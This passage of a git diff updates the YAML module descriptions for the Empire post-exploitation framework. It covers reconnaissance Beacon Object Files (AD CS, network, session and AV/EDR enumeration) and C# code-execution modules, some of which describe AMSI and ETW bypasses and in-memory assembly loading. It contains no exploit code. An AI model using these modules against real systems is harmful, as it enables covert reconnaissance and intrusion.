avoids traditional process injection + APIs by manually copying section data and applying proper memory protection flags. software: '' tactics: [TA0004] techniques: [T1055] diff --git a/empire/server/modules/bof/situational_awareness/adcs_enum.yaml b/empire/server/modules/bof/situational_awareness/adcs_enum.yaml index 5f1ca5971..5fe684d07 100644 --- a/empire/server/modules/bof/situational_awareness/adcs_enum.yaml +++ b/empire/server/modules/bof/situational_awareness/adcs_enum.yaml @@ -3,7 +3,11 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Enumerate CAs and templates in the AD using Win32 functions. +description: | + Enumerates Active Directory Certificate Services (AD CS) information + using native Win32 API calls to identify enterprise Certificate Authorities (CAs) + and their certificate templates. Serves as an alternative to COM-based enumeration + by invoking low-level Windows API functions directly. software: '' tactics: [TA0043, TA0007] techniques: [T1590.001, T1590.003, T1482, T1106] diff --git a/empire/server/modules/bof/situational_awareness/adcs_enum_com.yaml b/empire/server/modules/bof/situational_awareness/adcs_enum_com.yaml index e42cf8972..e543706c0 100644 --- a/empire/server/modules/bof/situational_awareness/adcs_enum_com.yaml +++ b/empire/server/modules/bof/situational_awareness/adcs_enum_com.yaml @@ -1,9 +1,12 @@ -name: adcs_enum +name: adcs_enum_com authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Enumerate CAs and templates in the AD using ICertConfig COM object. +description: | + Enumerates the Active Directory Certificate Services (AD CS) configuration + in the current domain using the ICertConfig COM interface. Outputs all enterprise + Certificate Authorities (CAs) and their published certificate templates. software: '' tactics: [TA0043, TA0007] techniques: [T1590.001, T1590.003, T1482, T1559.001] diff --git a/empire/server/modules/bof/situational_awareness/adcs_enum_com2.yaml b/empire/server/modules/bof/situational_awareness/adcs_enum_com2.yaml index 1cd196fd1..6d3dfb838 100644 --- a/empire/server/modules/bof/situational_awareness/adcs_enum_com2.yaml +++ b/empire/server/modules/bof/situational_awareness/adcs_enum_com2.yaml @@ -3,8 +3,11 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Enumerate CAs and templates in the AD using IX509PolicyServerListManager - COM object. +description: | + Enumerates enterprise Certificate Authorities (CAs) and their certificate + templates in Active Directory using the IX509PolicyServerListManager COM interface. + Unlike the ICertConfig-based variant, this method uses a more modern COM interface + associated with AD CS policy management. software: '' tactics: [TA0043, TA0007] techniques: [T1590.001, T1590.003, T1482, T1559.001] diff --git a/empire/server/modules/bof/situational_awareness/adv_audit_policies.yaml b/empire/server/modules/bof/situational_awareness/adv_audit_policies.yaml index bc727348a..46ff31356 100644 --- a/empire/server/modules/bof/situational_awareness/adv_audit_policies.yaml +++ b/empire/server/modules/bof/situational_awareness/adv_audit_policies.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Retrieve advanced security audit policies. +description: | + Retrieves advanced security audit policy settings from the target system + using native Windows APIs. Useful for identifying which event types are being + logged, including process creation, logon events, and privilege use. software: '' tactics: [TA0007, TA0043] techniques: [T1615, T1592.002, T1012] diff --git a/empire/server/modules/bof/situational_awareness/arp.yaml b/empire/server/modules/bof/situational_awareness/arp.yaml index 5e8313fae..df7ed07c5 100644 --- a/empire/server/modules/bof/situational_awareness/arp.yaml +++ b/empire/server/modules/bof/situational_awareness/arp.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List ARP table. +description: | + Lists the local Address Resolution Protocol (ARP) table to reveal IP-to-MAC + address mappings. Useful for identifying other hosts on the same subnet and gathering + network reconnaissance data. software: '' tactics: [TA0007] techniques: [T1016, T1018, T1106] diff --git a/empire/server/modules/bof/situational_awareness/cacls.yaml b/empire/server/modules/bof/situational_awareness/cacls.yaml index d62265b06..f485539e1 100644 --- a/empire/server/modules/bof/situational_awareness/cacls.yaml +++ b/empire/server/modules/bof/situational_awareness/cacls.yaml @@ -3,8 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Display access control lists on specificed files. If a folder enumerates - recursively +description: | + Displays access control lists (ACLs) for a specified file or directory. + If a folder is provided, permissions are enumerated recursively to identify access + rights across all nested items. software: '' tactics: [TA0007] techniques: [T1083, T1106] diff --git a/empire/server/modules/bof/situational_awareness/driversigs.yaml b/empire/server/modules/bof/situational_awareness/driversigs.yaml index 20f61eada..49adb146f 100644 --- a/empire/server/modules/bof/situational_awareness/driversigs.yaml +++ b/empire/server/modules/bof/situational_awareness/driversigs.yaml @@ -3,8 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Enumerate installed services Imagepaths to check the signing cert against - known AV/EDR vendors. +description: | + Enumerates installed service image paths and checks their code signing + certificates against known AV and EDR vendors. Useful for detecting security + products and assessing defensive tooling present on the host. software: '' tactics: [TA0007, TA0009] techniques: [T1005, T1518.001, T1652] diff --git a/empire/server/modules/bof/situational_awareness/enumLocalSessions.yaml b/empire/server/modules/bof/situational_awareness/enumLocalSessions.yaml index 03b08c0b8..9a6d2a24a 100644 --- a/empire/server/modules/bof/situational_awareness/enumLocalSessions.yaml +++ b/empire/server/modules/bof/situational_awareness/enumLocalSessions.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Enumerate currently attached user sessions both local and over RDP. +description: | + Enumerates active user sessions on the local system, including interactive + logins and RDP connections. Useful for identifying which users are currently + logged in and from where. software: '' tactics: [TA0007] techniques: [T1087.001] diff --git a/empire/server/modules/bof/situational_awareness/enum_filter_driver.yaml b/empire/server/modules/bof/situational_awareness/enum_filter_driver.yaml index 65dc4e739..05e96ecf1 100644 --- a/empire/server/modules/bof/situational_awareness/enum_filter_driver.yaml +++ b/empire/server/modules/bof/situational_awareness/enum_filter_driver.yaml @@ -1,9 +1,12 @@ -name: cacls +name: enum_filter_driver authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List ARP table. +description: | + Enumerates filter drivers registered on the local or remote system. + Useful for identifying security, storage, or file system monitoring components + that may impact operations or indicate defensive tooling. software: '' tactics: [TA0007] techniques: [T1083, T1106] @@ -29,8 +32,8 @@ options: required: true value: '.' bof: - x86: bof/situational_awareness/cacls/cacls.x86.o - x64: bof/situational_awareness/cacls/cacls.x64.o + x86: bof/situational_awareness/enum_filter_driver/enum_filter_driver.x86.o + x64: bof/situational_awareness/enum_filter_driver/enum_filter_driver.x64.o entry_point: '' format_string: z script_path: '' diff --git a/empire/server/modules/bof/situational_awareness/env.yaml b/empire/server/modules/bof/situational_awareness/env.yaml index 87d7fa527..8a71d7fd9 100644 --- a/empire/server/modules/bof/situational_awareness/env.yaml +++ b/empire/server/modules/bof/situational_awareness/env.yaml @@ -3,7 +3,9 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List process environment variables. +description: | + Lists environment variables for the current process. Useful for identifying + system configuration, user context, and potential credential or path leaks. software: '' tactics: [TA0007] techniques: [T1082, T1106] diff --git a/empire/server/modules/bof/situational_awareness/get_password_policy.yaml b/empire/server/modules/bof/situational_awareness/get_password_policy.yaml index 2acd9753b..10440510e 100644 --- a/empire/server/modules/bof/situational_awareness/get_password_policy.yaml +++ b/empire/server/modules/bof/situational_awareness/get_password_policy.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Get target server or domain's configured password policy and lockouts. +description: | + Retrieves the configured password policy and account lockout settings + from the target system or domain controller. Useful for assessing password complexity + requirements, lockout thresholds, and potential brute-force protections. software: '' tactics: [TA0007] techniques: [T1201, T1082, T1106] diff --git a/empire/server/modules/bof/situational_awareness/ipconfig.yaml b/empire/server/modules/bof/situational_awareness/ipconfig.yaml index 0d6d3f7c2..8782d2f0f 100644 --- a/empire/server/modules/bof/situational_awareness/ipconfig.yaml +++ b/empire/server/modules/bof/situational_awareness/ipconfig.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List IPv4 address, hostname, and DNS server. +description: | + Lists the host's IPv4 addresses, hostname, and DNS server configuration. + Useful for identifying network settings and gaining insight into local subnet + and name resolution infrastructure. software: '' tactics: [TA0007] techniques: [T1016, T1049] diff --git a/empire/server/modules/bof/situational_awareness/list_firewall_rules.yaml b/empire/server/modules/bof/situational_awareness/list_firewall_rules.yaml index 2a85bde2e..91a241ff4 100644 --- a/empire/server/modules/bof/situational_awareness/list_firewall_rules.yaml +++ b/empire/server/modules/bof/situational_awareness/list_firewall_rules.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List Windows firewall rules. +description: | + Lists all configured Windows firewall rules on the target system. Useful + for identifying allowed or blocked ports, applications, and services that may affect + lateral movement or command and control. software: '' tactics: [TA0007] techniques: [T1082, T1518.001] diff --git a/empire/server/modules/bof/situational_awareness/listdns.yaml b/empire/server/modules/bof/situational_awareness/listdns.yaml index 97a3853d1..617a7b7dc 100644 --- a/empire/server/modules/bof/situational_awareness/listdns.yaml +++ b/empire/server/modules/bof/situational_awareness/listdns.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List DNS cache entries. Attempt to query and resolve each. +description: | + Lists DNS cache entries from the target system and attempts to resolve + each entry. Useful for identifying recently accessed domains and mapping internal + or external network infrastructure. software: '' tactics: [TA0007, TA0043] techniques: [T1590.002] diff --git a/empire/server/modules/bof/situational_awareness/listmods.yaml b/empire/server/modules/bof/situational_awareness/listmods.yaml index bf8a938e4..06eba6c0c 100644 --- a/empire/server/modules/bof/situational_awareness/listmods.yaml +++ b/empire/server/modules/bof/situational_awareness/listmods.yaml @@ -3,8 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List process modules (DLL). Target current process if PID is empty. - Complement to driversigs to determine if our process was injected by AV/EDR. +description: | + Lists loaded modules (DLLs) for a specified process. Defaults to + the current process if no PID is provided. Useful for detecting AV/EDR hooks + or injected libraries, especially when used alongside driversigs. software: '' tactics: [TA0007] techniques: [T1057, T1518.001] diff --git a/empire/server/modules/bof/situational_awareness/locale.yaml b/empire/server/modules/bof/situational_awareness/locale.yaml index aafe570be..bc27a52f2 100644 --- a/empire/server/modules/bof/situational_awareness/locale.yaml +++ b/empire/server/modules/bof/situational_awareness/locale.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List system locale language, locale ID, date, time, and country. +description: | + Retrieves system locale information including language, locale ID, + date and time format, and country settings. Useful for identifying regional configurations + and potential targeting restrictions. software: '' tactics: [TA0007] techniques: [T1614] diff --git a/empire/server/modules/bof/situational_awareness/netGroupList.yaml b/empire/server/modules/bof/situational_awareness/netGroupList.yaml index 85fd8391f..cfd25b541 100644 --- a/empire/server/modules/bof/situational_awareness/netGroupList.yaml +++ b/empire/server/modules/bof/situational_awareness/netGroupList.yaml @@ -3,8 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List the members of the specified group in this domain (or specified - domain if given). +description: | + Lists members of a specified group in the current or provided domain. + Useful for identifying privileged accounts or users within security groups such + as Domain Admins. software: '' tactics: [TA0007] techniques: [T1069.002] diff --git a/empire/server/modules/bof/situational_awareness/netGroupListMembers.yaml b/empire/server/modules/bof/situational_awareness/netGroupListMembers.yaml index 12d3c82c4..586ff045e 100644 --- a/empire/server/modules/bof/situational_awareness/netGroupListMembers.yaml +++ b/empire/server/modules/bof/situational_awareness/netGroupListMembers.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List group members from the default or specified domain. +description: | + Lists members of a specified group from the default or provided domain. + Useful for enumerating group memberships tied to administrative access or lateral + movement opportunities. software: '' tactics: [TA0007] techniques: [T1069.002] diff --git a/empire/server/modules/bof/situational_awareness/netLocalGroupList.yaml b/empire/server/modules/bof/situational_awareness/netLocalGroupList.yaml index afc221818..9e6a1002b 100644 --- a/empire/server/modules/bof/situational_awareness/netLocalGroupList.yaml +++ b/empire/server/modules/bof/situational_awareness/netLocalGroupList.yaml @@ -3,7 +3,8 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List local groups from the local or specified computer. +description: Enumerates all local groups on the specified or local computer. Useful + for auditing group memberships and identifying potential privilege escalation paths. software: '' tactics: [TA0007] techniques: [T1069.001] diff --git a/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.yaml b/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.yaml index 2711160d9..bd4cbb157 100644 --- a/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.yaml +++ b/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.yaml @@ -3,7 +3,9 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List local groups from the local or specified computer. +description: Lists members of a specified group in the current or provided domain. + Useful for identifying privileged accounts or users within security groups such + as Domain Admins. software: '' tactics: [TA0007] techniques: [T1069.001] diff --git a/empire/server/modules/bof/situational_awareness/netloggedon.yaml b/empire/server/modules/bof/situational_awareness/netloggedon.yaml index 2e8607772..dfb5b4c01 100644 --- a/empire/server/modules/bof/situational_awareness/netloggedon.yaml +++ b/empire/server/modules/bof/situational_awareness/netloggedon.yaml @@ -3,7 +3,7 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Return users logged on the local or remote computer. +description: Returns users logged on the local or remote computer. software: '' tactics: [TA0043, TA0007] techniques: [T1049, T1106] diff --git a/empire/server/modules/bof/situational_awareness/netsession.yaml b/empire/server/modules/bof/situational_awareness/netsession.yaml index 0989656dd..f1dfeb45f 100644 --- a/empire/server/modules/bof/situational_awareness/netsession.yaml +++ b/empire/server/modules/bof/situational_awareness/netsession.yaml @@ -3,7 +3,9 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Enumerate sessions on the local or specified computer. +description: Enumerates active network sessions on the specified or local computer. + Useful for identifying users currently connected to the system, tracking lateral + movement, and auditing remote access. software: '' tactics: [TA0007] techniques: [T1049, T1087.002] diff --git a/empire/server/modules/bof/situational_awareness/netshares.yaml b/empire/server/modules/bof/situational_awareness/netshares.yaml index 227282f65..5c2e9a368 100644 --- a/empire/server/modules/bof/situational_awareness/netshares.yaml +++ b/empire/server/modules/bof/situational_awareness/netshares.yaml @@ -3,8 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List shares on local or remote computer and gets more info then standard - netshares(requires admin). +description: Enumerates network shares on the specified or local computer with detailed + information beyond standard net share commands. Provides share names, descriptions, + permissions, and access details useful for identifying accessible resources and + potential data exfiltration paths. software: '' tactics: [TA0007] techniques: [T1135] diff --git a/empire/server/modules/bof/situational_awareness/netstat.yaml b/empire/server/modules/bof/situational_awareness/netstat.yaml index 6e749d436..91d012afe 100644 --- a/empire/server/modules/bof/situational_awareness/netstat.yaml +++ b/empire/server/modules/bof/situational_awareness/netstat.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: TCP and UDP IPv4 listing ports. +description: Enumerates active TCP and UDP IPv4 network connections and listening + ports on the local system. Provides connection details including local/remote addresses, + port numbers, connection states, and process information useful for network reconnaissance + and identifying suspicious network activity. software: '' tactics: [TA0007] techniques: [T1049, T1016] diff --git a/empire/server/modules/bof/situational_awareness/nettime.yaml b/empire/server/modules/bof/situational_awareness/nettime.yaml index e3a2e8294..2d4138781 100644 --- a/empire/server/modules/bof/situational_awareness/nettime.yaml +++ b/empire/server/modules/bof/situational_awareness/nettime.yaml @@ -3,7 +3,8 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Display time on remote computer. +description: Displays the current date and time on the specified or local computer. + Useful for time synchronization and verifying system time. software: '' tactics: [TA0007] techniques: [T1124] diff --git a/empire/server/modules/bof/situational_awareness/netuser.yaml b/empire/server/modules/bof/situational_awareness/netuser.yaml index d666d6aca..825fd4ece 100644 --- a/empire/server/modules/bof/situational_awareness/netuser.yaml +++ b/empire/server/modules/bof/situational_awareness/netuser.yaml @@ -3,7 +3,9 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Get info about specific user. Pull from domain if a domain name is specified. +description: Retrieves detailed information about a specific user account from the + local system or Active Directory domain. Provides user attributes including account + status, group memberships, password policies, and account details. software: '' tactics: [TA0007] techniques: [T1033] @@ -29,7 +31,8 @@ options: required: true value: '' - name: Domain - description: Username to query. + description: Domain to query for the user account. If specified, queries Active + Directory; otherwise queries local system. required: false value: '' bof: diff --git a/empire/server/modules/bof/situational_awareness/netview.yaml b/empire/server/modules/bof/situational_awareness/netview.yaml index 9355d0216..6afbfda7c 100644 --- a/empire/server/modules/bof/situational_awareness/netview.yaml +++ b/empire/server/modules/bof/situational_awareness/netview.yaml @@ -3,7 +3,9 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List reachable computers in the current domain. +description: Enumerates reachable computers and resources in the current domain or + workgroup. Provides detailed information about network hosts including computer + names, operating systems, and share availability. software: '' tactics: [TA0007, TA0043] techniques: [T1135, T1018] diff --git a/empire/server/modules/bof/situational_awareness/probe.yaml b/empire/server/modules/bof/situational_awareness/probe.yaml index 724b4a09e..a8ab42246 100644 --- a/empire/server/modules/bof/situational_awareness/probe.yaml +++ b/empire/server/modules/bof/situational_awareness/probe.yaml @@ -3,7 +3,9 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Check if a specific port is open on a host. +description: Probes a specified host and port to determine if the port is open and + accessible. Useful for network reconnaissance and identifying available services + on target systems. software: '' tactics: [TA0007, TA0043] techniques: [T1046] diff --git a/empire/server/modules/bof/situational_awareness/resources.yaml b/empire/server/modules/bof/situational_awareness/resources.yaml index 847197ed6..12e9199dc 100644 --- a/empire/server/modules/bof/situational_awareness/resources.yaml +++ b/empire/server/modules/bof/situational_awareness/resources.yaml @@ -3,7 +3,8 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List memory usage and available disk space on the primary hard drive. +description: Displays detailed system resource information including memory utilization + (total, used, and available) and disk space metrics for the primary storage drive. software: '' tactics: [TA0007] techniques: [T1082] diff --git a/empire/server/modules/bof/situational_awareness/routeprint.yaml b/empire/server/modules/bof/situational_awareness/routeprint.yaml index a5dd0ef05..67276a4e6 100644 --- a/empire/server/modules/bof/situational_awareness/routeprint.yaml +++ b/empire/server/modules/bof/situational_awareness/routeprint.yaml @@ -3,7 +3,9 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List IPv4 routes. +description: Displays detailed routing table information for IPv4 networks. Provides + route details including destination address, next hop, interface, and metric useful + for network troubleshooting and path optimization. software: '' tactics: [TA0007] techniques: [T1016] diff --git a/empire/server/modules/bof/situational_awareness/schtasksenum.yaml b/empire/server/modules/bof/situational_awareness/schtasksenum.yaml index 86c3f5c8d..7d09c92dc 100644 --- a/empire/server/modules/bof/situational_awareness/schtasksenum.yaml +++ b/empire/server/modules/bof/situational_awareness/schtasksenum.yaml @@ -3,7 +3,9 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Enumerate scheduled tasks on the local or remote computer +description: Enumerates scheduled tasks on the local or remote computer. Provides + task details including name, description, status, and trigger information useful + for auditing system automation and identifying potential security risks. software: '' tactics: [TA0007] techniques: [T1082] diff --git a/empire/server/modules/bof/situational_awareness/schtasksquery.yaml b/empire/server/modules/bof/situational_awareness/schtasksquery.yaml index b78998b24..7f10c7b94 100644 --- a/empire/server/modules/bof/situational_awareness/schtasksquery.yaml +++ b/empire/server/modules/bof/situational_awareness/schtasksquery.yaml @@ -3,7 +3,9 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Query the given task on the local or remote computer +description: Queries the specified scheduled task on the local or remote computer. + Provides task details including name, description, status, and trigger information + useful for auditing system automation and identifying potential security risks. software: '' tactics: [TA0007] techniques: [T1082] diff --git a/empire/server/modules/bof/situational_awareness/tasklist.yaml b/empire/server/modules/bof/situational_awareness/tasklist.yaml index ffeed5363..94f32a397 100644 --- a/empire/server/modules/bof/situational_awareness/tasklist.yaml +++ b/empire/server/modules/bof/situational_awareness/tasklist.yaml @@ -1,9 +1,13 @@ -name: Tasklist +name: tasklist authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List running processes including PID, PPID, and ComandLine (uses wmi). +description: Beacon Object File (BOF) that enumerates running processes on the local + or remote system using Windows Management Instrumentation (WMI). Provides detailed + process information including Process ID (PID), Parent Process ID (PPID), command + line arguments, and process ownership details. Supports remote enumeration by specifying + a target server. software: '' tactics: [TA0007] techniques: [T1057] diff --git a/empire/server/modules/bof/situational_awareness/whoami.yaml b/empire/server/modules/bof/situational_awareness/whoami.yaml index b42404e07..8efa32fc5 100644 --- a/empire/server/modules/bof/situational_awareness/whoami.yaml +++ b/empire/server/modules/bof/situational_awareness/whoami.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List whoami /all +description: Beacon Object File (BOF) that lists detailed user and system information + using the whoami /all command. Provides user account details, group memberships, + privileges, and other system information to help identify the current user's context + and permissions. software: '' tactics: [TA0007] techniques: [T1033] diff --git a/empire/server/modules/bof/situational_awareness/windowlist.yaml b/empire/server/modules/bof/situational_awareness/windowlist.yaml index ca8331cde..8ec0bd196 100644 --- a/empire/server/modules/bof/situational_awareness/windowlist.yaml +++ b/empire/server/modules/bof/situational_awareness/windowlist.yaml @@ -3,7 +3,9 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: List visible windows in the current user session. +description: Beacon Object File (BOF) that lists visible windows in the current user + session. Provides window titles, class names, and other window properties to help + identify open applications and their properties. software: '' tactics: [TA0007] techniques: [T1010] diff --git a/empire/server/modules/bof/situational_awareness/wmi_query.yaml b/empire/server/modules/bof/situational_awareness/wmi_query.yaml index cd1ad731e..972453a1f 100644 --- a/empire/server/modules/bof/situational_awareness/wmi_query.yaml +++ b/empire/server/modules/bof/situational_awareness/wmi_query.yaml @@ -3,7 +3,12 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Run a wmi query and display results in CSV format. +description: Beacon Object File (BOF) that executes custom Windows Management Instrumentation + (WMI) queries against local or remote systems and returns results in CSV format. + Supports flexible querying across different WMI namespaces, allowing for comprehensive + system enumeration including hardware information, software inventory, configuration + settings, and security data. Enables targeted reconnaissance by querying specific + system properties and can be used for both local and remote system discovery. software: '' tactics: [TA0007] techniques: [T1047, T1082] diff --git a/empire/server/modules/csharp/code_execution/Assembly.yaml b/empire/server/modules/csharp/code_execution/Assembly.yaml index c7a7b2c2b..59c077156 100755 --- a/empire/server/modules/csharp/code_execution/Assembly.yaml +++ b/empire/server/modules/csharp/code_execution/Assembly.yaml @@ -3,12 +3,17 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Execute a dotnet Assembly EntryPoint. +description: | + Reflectively Loads the provided .NET assembly into memory and executes + the Assembly through it's EntryPoint. The user provides all command line values + for the assembly. This module can only execute the EntryPoint of the assembly and + no other Assembly methods. Assembly is executed fully in memory without touching + disk. software: '' tactics: [TA0002, TA0005] techniques: [T1620] background: false -output_extension: null +output_extension: '' needs_admin: false opsec_safe: true language: csharp @@ -123,7 +128,7 @@ csharp: Description: SharpSploit is a library for C# post-exploitation modules. Location: SharpSploit\SharpSploit\ Language: CSharp - CompatibleDotNetVersions: null + CompatibleDotNetVersions: '' ReferenceAssemblies: - Name: System.Management.Automation.dll Location: net35\System.Management.Automation.dll diff --git a/empire/server/modules/csharp/code_execution/AssemblyReflect.yaml b/empire/server/modules/csharp/code_execution/AssemblyReflect.yaml index 024127a44..41b67b547 100755 --- a/empire/server/modules/csharp/code_execution/AssemblyReflect.yaml +++ b/empire/server/modules/csharp/code_execution/AssemblyReflect.yaml @@ -3,12 +3,17 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Execute a dotnet Assembly method using reflection. +description: | + Reflectively loads an assembly into memory using the standard Assembly.Load + method for .NET. This module allows for the user to provide the TypeName which normally + takes the format of .. The user also provide the Method name and + command line arguments. Assemblies will be scanned by AMSI and are executed entirely + in memory. software: '' tactics: [TA0002] techniques: [T1620] background: false -output_extension: null +output_extension: '' needs_admin: false opsec_safe: true language: csharp @@ -19,7 +24,7 @@ options: required: true type: file - name: Parameters - description: The command-line parameters to pass to the assembly's EntryPoint. + description: The command-line parameters to pass to the assembly's Method. required: false value: '' - name: TypeName @@ -97,7 +102,7 @@ csharp: Description: SharpSploit is a library for C# post-exploitation modules. Location: SharpSploit\SharpSploit\ Language: CSharp - CompatibleDotNetVersions: null + CompatibleDotNetVersions: '' ReferenceAssemblies: - Name: System.Management.Automation.dll Location: net35\System.Management.Automation.dll diff --git a/empire/server/modules/csharp/code_execution/RunCoff.yaml b/empire/server/modules/csharp/code_execution/RunCoff.yaml index 7d6e96650..0303bc335 100755 --- a/empire/server/modules/csharp/code_execution/RunCoff.yaml +++ b/empire/server/modules/csharp/code_execution/RunCoff.yaml @@ -4,12 +4,15 @@ authors: handle: Cx01N link: https://twitter.com/Cx01N_ description: | - This is a quick and dirty COFF loader (AKA Beacon Object Files). + C# implementation of a COFF loader that provides compatibility with Cobalt + Strike Beacon Object Files. This allows for CS BOF files to be used in outside + frameworks. COFF loader allows for the execution of C/C++ programs as position independent + code. The user must pass in the Format String, Entry Point, and Arguments. software: '' tactics: [TA0002] techniques: [T1106, T1620] background: true -output_extension: null +output_extension: '' needs_admin: false opsec_safe: true language: csharp @@ -24,7 +27,7 @@ options: - name: EntryPoint description: Name of the function exported to execute in the beacon object file. required: false - value: 'go' + value: go - name: Format String description: The format string must only include the following characters b, i, s, z, Z diff --git a/empire/server/modules/csharp/code_execution/SharpSploit/PowerShell.yaml b/empire/server/modules/csharp/code_execution/SharpSploit/PowerShell.yaml index 0de71b902..418c68f83 100755 --- a/empire/server/modules/csharp/code_execution/SharpSploit/PowerShell.yaml +++ b/empire/server/modules/csharp/code_execution/SharpSploit/PowerShell.yaml @@ -3,7 +3,11 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Execute a PowerShell command. +description: | + This module allows for execution of PowerShell commands through a C# + assembly. It is a subset of the SharpSploit project. The module executes a C# AMSI + and ETW bypass prior to execution of the provided command. Commands are always returned + using PowerShell's Out-String. software: '' tactics: [TA0002] techniques: [T1059.001] diff --git a/empire/server/modules/csharp/code_execution/SharpSploit/Shell.yaml b/empire/server/modules/csharp/code_execution/SharpSploit/Shell.yaml index 11b0e348b..2db106135 100755 --- a/empire/server/modules/csharp/code_execution/SharpSploit/Shell.yaml +++ b/empire/server/modules/csharp/code_execution/SharpSploit/Shell.yaml @@ -3,7 +3,10 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Execute a Shell command using CreateProcess. +description: | + Uses .NET's System.Diagnostics.StartProcess to create a child process + of the current process to run the provided commands. Commands are executed from + the current directory of the agent process. software: '' tactics: [TA0002] techniques: [T1059.003] diff --git a/empire/server/modules/csharp/code_execution/SharpSploit/ShellCmd.yaml b/empire/server/modules/csharp/code_execution/SharpSploit/ShellCmd.yaml index 57774506b..f3629e632 100755 --- a/empire/server/modules/csharp/code_execution/SharpSploit/ShellCmd.yaml +++ b/empire/server/modules/csharp/code_execution/SharpSploit/ShellCmd.yaml @@ -3,7 +3,12 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Execute a Shell command using CreateProcess with "cmd.exe /c" +description: | + Uses .NET's System.Diagnostics.StartProcess to create a child process + of the current process to run the provided commands. Commands are executed from + the current directory of the agent process. Provided commands are automatically + appended with "cmd.exe /c" and this module is equivalent to csharp_code_execution_sharpsploit_shell + in all other aspects. software: '' tactics: [TA0002] techniques: [T1059.003] @@ -62,7 +67,7 @@ csharp: Description: SharpSploit is a library for C# post-exploitation modules. Location: SharpSploit\SharpSploit\ Language: CSharp - CompatibleDotNetVersions: null + CompatibleDotNetVersions: '' ReferenceAssemblies: - Name: System.Management.Automation.dll Location: net35\System.Management.Automation.dll diff --git a/empire/server/modules/csharp/code_execution/SharpSploit/ShellCmdRunas.yaml b/empire/server/modules/csharp/code_execution/SharpSploit/ShellCmdRunas.yaml index 646b91838..31748de3c 100755 --- a/empire/server/modules/csharp/code_execution/SharpSploit/ShellCmdRunas.yaml +++ b/empire/server/modules/csharp/code_execution/SharpSploit/ShellCmdRunas.yaml @@ -3,8 +3,13 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: Execute a Shell command using CreateProcess with "cmd.exe /c" as a specified - user. +description: | + Uses .NET's System.Diagnostics.StartProcess to create a child process + of the current process to run the provided commands. Optionally, username and password + can be provided to run the command as another user. This module does accept hashes + as credentials. Commands are executed from the current directory of the agent process. + Provided commands are automatically appended with "cmd.exe /c" and this module is + equivalent to csharp_code_execution_sharpsploit_shell in all other aspects. software: '' tactics: [TA0002] techniques: [T1059.003, 